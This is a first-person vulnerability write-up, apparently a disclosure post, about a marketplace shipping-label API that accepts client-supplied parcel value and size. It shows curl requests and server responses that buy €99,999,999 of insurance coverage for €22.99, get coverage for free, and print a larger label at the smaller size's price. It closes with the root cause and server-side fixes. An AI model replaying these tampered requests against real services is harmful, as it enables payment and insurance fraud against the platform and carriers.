€99,999,999 of Shipping Insurance for €22.99
Target is a second-hand marketplace. Their shipping label app lets you print a parcel label, optionally with extra coverage in case the package goes missing. Pay a few extra euros, get insured up to €500.
The flow is three calls. Create order, get a price summary, purchase. Here is the summary call:
curl -X PUT "https://[TARGET]/api/orders/summary/$UUID" \
-H "Content-Type: application/json" \
-d '{"rate_uuid":"...","content_value":10,"coverage_applied":true}'
content_value is what you say the parcel is worth. The server uses
that to price the coverage. I sent a bigger number.
curl -X PUT "https://[TARGET]/api/orders/summary/$UUID" \
-H "Content-Type: application/json" \
-d '{"rate_uuid":"...","content_value":99999999,"coverage_applied":true}'
{
"coverage_price": {"amount": "20.00", "currency": "EUR"},
"label_price": {"amount": "2.99", "currency": "EUR"},
"max_coverage_price": {"amount": "500", "currency": "EUR"},
"total_price": {"amount": "22.99", "currency": "EUR"},
"extra_coverage_price":{"amount": "20.00", "currency": "EUR"}
}
Read that response carefully. The server tells me the maximum coverage is €500. Then it accepts a declared value of ninety-nine million euros and prices the coverage at twenty euros flat. Same response. It is showing me the rule and breaking it in the same JSON object.
Purchased it to be sure.
curl -X POST "https://[TARGET]/api/orders/purchase/$UUID" \
-H "Content-Type: application/json" \
-d '{"rate_uuid":"...","point_uuid":"...","parcel_size":"s",
"content_value":99999999,"coverage_applied":true,
"content_description":"max coverage exploit"}'
{"redirect_url":"https://pay.checkout.com/page/hpp_A2FlQx2WtaTE"}
Followed the redirect. Real Checkout.com payment page. Real line items.
Shipping costs: €2.99
Extra coverage: €20.00
Total: €22.99
The price for insuring a hundred million euros worth of parcel was twenty-three euros. If the parcel "got lost" in transit, the carrier would owe me the declared value because the coverage was bought through the legitimate payment flow.
the bonus rounds
While I was there I tried two more values.
content_value=0 with coverage_applied=true:
Shipping costs: €2.99
Extra coverage: €0.00
Total: €2.99
Free coverage. The server priced insurance for a parcel worth zero euros at zero euros, then happily attached a coverage line item to the order anyway. Whatever that coverage covers, it is now mine.
Then the parcel size. The order is created with a size, but the
purchase call accepts parcel_size again as a separate field.
# created as "s" (small, €2.99)
# purchased as "hl" (huge, €6.49)
curl -X POST "https://[TARGET]/api/orders/purchase/$UUID" \
-d '{"...","parcel_size":"hl","content_value":10,...}'
Total: €2.99
The server prints a label for the bigger size at the smaller size's price. The price is computed once at order creation and never recomputed. The size is taken from the purchase call without checking it matches the order.
why it works
Three different bugs, one shared root cause: the server trusts the client to tell it what the order is worth, what size it is, and whether the coverage rule should apply to this particular request.
The first response literally contains "max_coverage_price": "500".
That field exists. Someone wrote it. It just is not connected to the
validator. Like a speed limit sign with no radar.
The fix is the same fix everywhere. Recompute price server-side from trusted state at the moment of purchase. Validate the declared value against the maximum it just told you about. Pick the parcel size from the order row, not from the request body.
I have shipped a lot of parcels in my life. None of them were worth ninety-nine million euros. This one would have been.